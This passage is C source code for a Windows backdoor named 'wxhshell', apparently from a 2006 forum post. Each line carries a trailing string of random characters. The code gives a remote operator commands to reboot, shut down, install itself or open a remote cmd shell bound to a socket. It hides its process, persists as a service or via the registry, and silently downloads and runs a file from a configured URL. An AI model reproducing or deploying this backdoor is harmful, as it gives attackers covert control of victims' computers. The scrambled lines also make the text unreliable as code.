  } f_m~_`m  
  else { g^mnYg5  
EvJ<X,Bo  
    switch(cmd[0]) { 0e,U&B<W  
  *K'_"2J  
  // 帮助 o"19{ D^.  
  case '?': { 7.W$6U5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wV{jJyRl  
    break; "?n;dXYSi  
  } |!?lwBs4  
  // 安装 n~mP7X%wE7  
  case 'i': { k;~*8i=%,\  
    if(Install()) ny'wS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yBYZ?gc  
    else z[?&bF<|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dm~Uj  
    break; Evy_I+l  
    } ,T;T %/ S  
  // 卸载 IA3m.Vxj ^  
  case 'r': { (/^dyG|X'  
    if(Uninstall()) Id<O/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?#obNQ"u]  
    else 9:4m@dguh-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PZYVLUw `  
    break; 3cSP1=$*  
    } 4SNDKFw  
  // 显示 wxhshell 所在路径 zS/1v+  
  case 'p': { +zINnX  
    char svExeFile[MAX_PATH]; D6vhW:t8?  
    strcpy(svExeFile,"\n\r"); ('oA{,#L  
      strcat(svExeFile,ExeFile); [ ;LP6n7v  
        send(wsh,svExeFile,strlen(svExeFile),0); "59"HVV  
    break; j|DjO?._'  
    } Cb i;CF\{  
  // 重启 EHF dQ0gIa  
  case 'b': { Y0;66bfh}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *OU&`\bmE  
    if(Boot(REBOOT)) 'X P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o\KF(I  
    else { kj]m@mS[  
    closesocket(wsh); du>d?  
    ExitThread(0); 2"pFAQBw~i  
    } 1`F25DhhY  
    break; `+]e}*7$f  
    } XgPZcOzYB  
  // 关机 ~@%#eg  
  case 'd': { 7Rl/F1G o}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v&3 Oc  
    if(Boot(SHUTDOWN)) 9FcH\2J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9w}_CCj3  
    else { X(qs]:  
    closesocket(wsh); ]\6*2E{1m  
    ExitThread(0); /:+MUw7~  
    } 9|x{z  
    break; xv 9 G%  
    } w1:%P36H  
  // 获取shell #m6W7_  
  case 's': { H|I.h{:  
    CmdShell(wsh); ;uyQR8  
    closesocket(wsh); +Cs.v.GA5  
    ExitThread(0); >goG\y  
    break; 9ohO-t$XkY  
  } ot; ]?M  
  // 退出 SS7C|*-Zd  
  case 'x': { $m[* )0/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5-.{RU=  
    CloseIt(wsh); VmP5`):?b  
    break; /ULO#CN?;  
    } $LHF=tYS  
  // 离开 7i0;Ss*  
  case 'q': { Gi Max  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~M9&SDT/lB  
    closesocket(wsh); ; -,VJCPi  
    WSACleanup(); }c ,:uN  
    exit(1); ;wF)!d  
    break; ~=/.ZUQNX  
        } !I+F8p   
  } Np>0c -S  
  } k!ac_}&NNv  
sUN9E4  
  // 提示信息 k56*eEc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i/aj;t  
} o!sHK9hvJ)  
  } TSKR~3D#  
4mwLlYZ  
  return; }cd-BW  
} ROj9#:  
?a{>QyL  
// shell模块句柄 =g<Yi2  
int CmdShell(SOCKET sock) %+ur41HM  
{ f@H>by N  
STARTUPINFO si; M6:$ 0(r  
ZeroMemory(&si,sizeof(si)); CooOBk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F0tx.]uS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a~A"uLBR  
PROCESS_INFORMATION ProcessInfo; g<s;uRA4O9  
char cmdline[]="cmd"; TykY>cl   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); drd5o Z  
  return 0; uYMH5Om+i  
} =aCd,4B}  
4ad-'  
// 自身启动模式 Tk:%YS;=  
int StartFromService(void) ~NB lJULS  
{ #waK^B)<a  
typedef struct f ( ug3(j  
{ Pw/$ }Q9X  
  DWORD ExitStatus; g]m}@b6(h  
  DWORD PebBaseAddress; L]3gHq  
  DWORD AffinityMask; ggHz-oNY  
  DWORD BasePriority; 9}#9i^%}  
  ULONG UniqueProcessId; s,]z6L0  
  ULONG InheritedFromUniqueProcessId; eGi|S'L'  
}   PROCESS_BASIC_INFORMATION; &D#B"XI  
Z.3*sp0 yv  
PROCNTQSIP NtQueryInformationProcess; 4S*7*ak{  
v\Edf;(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8rM1kOCf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z8q*XpUH  
#r;uM+  
  HANDLE             hProcess; KK41I 8Mw  
  PROCESS_BASIC_INFORMATION pbi; -14~f)%NQ*  
7U`8W\-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {!37w[s~  
  if(NULL == hInst ) return 0; vlx\hJ<I  
N7}y U~j^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g<5G#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W kSv@Y,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _[8sL^  
^|lG9z%Foy  
  if (!NtQueryInformationProcess) return 0; GL'zNQP-  
C.Re*;EI,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8e}8@[h  
  if(!hProcess) return 0; \!!1o+#1j  
/*hS0xN*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -r@/8"  
@j+X>TD  
  CloseHandle(hProcess); A]AM|2 D  
# PZBh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Sn-D|Z  
if(hProcess==NULL) return 0; TDY =!  
&ZAc3@l[c  
HMODULE hMod; d{~Qd|<rr  
char procName[255]; O`FuXB(t  
unsigned long cbNeeded; VIg=| Oe),  
k=JT%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {6 brVN.V  
QliP9-im3  
  CloseHandle(hProcess); +<W8kb  
]-tAgNzl%  
if(strstr(procName,"services")) return 1; // 以服务启动 7kH GU  
8,YxCm ie  
  return 0; // 注册表启动 O>sE~~g]?  
} (h>+ivf|  
A3mSSc6  
// 主模块 ~.f[K{h8  
int StartWxhshell(LPSTR lpCmdLine) HK!Vd_&9,  
{ `%Uz0hF  
  SOCKET wsl; C;.+ kE  
BOOL val=TRUE; <nE|Y@S  
  int port=0; O!.mc=Gx7  
  struct sockaddr_in door; >W?7a:#,  
2Ik@L,  
  if(wscfg.ws_autoins) Install(); X]AbBzy  
AlQ  
port=atoi(lpCmdLine); N6*v!M+  
]#Q'~X W  
if(port<=0) port=wscfg.ws_port; nO7#m~  
XqK\'8]\Mw  
  WSADATA data; TLiA>`r=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V0'_PR@;  
AC9#!# OGB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; #^Jy#)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o= N_0.  
  door.sin_family = AF_INET; 'c|Y*2@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); txW<r8  
  door.sin_port = htons(port); qvhol  
Afq?Ps+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xtP=/B/  
closesocket(wsl); -(YdK8  
return 1; a?QDf5C q  
} kN,WB  
j2"Y{6c  
  if(listen(wsl,2) == INVALID_SOCKET) { %l8nTcL_?  
closesocket(wsl); &.t|&8-  
return 1; hSyA;*)U  
} + s snCr  
  Wxhshell(wsl); Uv"GG: K_  
  WSACleanup(); Sk 10"DB/  
@YfCS8 eH  
return 0; 9AROvq|#  
>{]mN5  
} <r{ )*]#l  
h f1f  
// 以NT服务方式启动 4?a!6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Ak@!&hyak  
{ wh<s#q`  
DWORD   status = 0; v|v^(P,o  
  DWORD   specificError = 0xfffffff; ,lly=OhKb  
{%;KkC8=R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `kP (2b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  _,2P4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n|oAfJUk,  
  serviceStatus.dwWin32ExitCode     = 0; H.ZmLB  
  serviceStatus.dwServiceSpecificExitCode = 0; >r"~t70C~]  
  serviceStatus.dwCheckPoint       = 0; G;%Pf9 o26  
  serviceStatus.dwWaitHint       = 0; Ur]~>-Z  
U-#t&yjh#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -\`n{$OR  
  if (hServiceStatusHandle==0) return; 3=r8kh7,  
3 T3p[q4  
status = GetLastError(); 6_wf $(im  
  if (status!=NO_ERROR) S)0bu(a`Z,  
{ %#Vn?zr|~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RJ_ratKN*g  
    serviceStatus.dwCheckPoint       = 0; [k9aY$baT^  
    serviceStatus.dwWaitHint       = 0; 2>l:: 8Pp  
    serviceStatus.dwWin32ExitCode     = status; >_biiW~x:  
    serviceStatus.dwServiceSpecificExitCode = specificError; k]Y#-Q1p~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cmIAWFj-)e  
    return; I,r 3.2u  
  } rZy38Wo  
}V3p <  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]8q5k5~  
  serviceStatus.dwCheckPoint       = 0; X"W%(x`w  
  serviceStatus.dwWaitHint       = 0; q($lL~Ls  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xz=MM0o  
} "9 -duDg  
b\ %=mN  
// 处理NT服务事件,比如:启动、停止 9Osjh G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EO,;^RtB  
{ W&]grG2/  
switch(fdwControl) z+1#p.F$@  
{ x,js}Mlw  
case SERVICE_CONTROL_STOP: .e2u)YqA  
  serviceStatus.dwWin32ExitCode = 0; l{4=La{?j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^)b*"o  
  serviceStatus.dwCheckPoint   = 0; buRXzSR  
  serviceStatus.dwWaitHint     = 0; )Xa`LG =|  
  { /c`)Er 6d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y]b5qguK  
  } Hi{c[;  
  return; "RH2%  
case SERVICE_CONTROL_PAUSE: _VR Sdr5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !GMb~  
  break; n]x4twZ  
case SERVICE_CONTROL_CONTINUE: 2F3IC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mz<4P3"H  
  break; mj<(qZh  
case SERVICE_CONTROL_INTERROGATE: {W }.z  
  break; %#NaM\=8v  
}; 8^zI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +|Q8P?YD_  
} ASAz<H$  
K$Y!d"D  
// 标准应用程序主函数 DT(A~U<y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v|jBRKU99  
{ E`>-+~ZUsk  
9p(s FQ [  
// 获取操作系统版本 .*D~ .!  
OsIsNt=GetOsVer(); E/(:\Cm^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Z>#lMg\.  
:9c QK]O6  
  // 从命令行安装 Mno4z/4{A  
  if(strpbrk(lpCmdLine,"iI")) Install(); xrO:Y!C?  
c\.4I4uy  
  // 下载执行文件 !O)Ruwy  
if(wscfg.ws_downexe) { !$St=!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gyieSXz[  
  WinExec(wscfg.ws_filenam,SW_HIDE); FgRlxz  
} YmHn*N}:U  
lcvWx%/o@  
if(!OsIsNt) { l{aXX[E&1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;,Sl+)@h  
HideProc(); ?D\6CsNp(2  
StartWxhshell(lpCmdLine); (I,PC*:  
} ? YX2CJ6N  
else g!D?Yj4  
  if(StartFromService()) Bfaj4i ;_  
  // 以服务方式启动 zp"sM z]  
  StartServiceCtrlDispatcher(DispatchTable); kwK<?\D  
else x!MYIaZ7  
  // 普通方式启动 of8/~VO  
  StartWxhshell(lpCmdLine); UBi0 /  
+|Xx=1_?BK  
return 0; ]gkI:scPA  
}
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只看该作者 1 发表于: 2006-10-10
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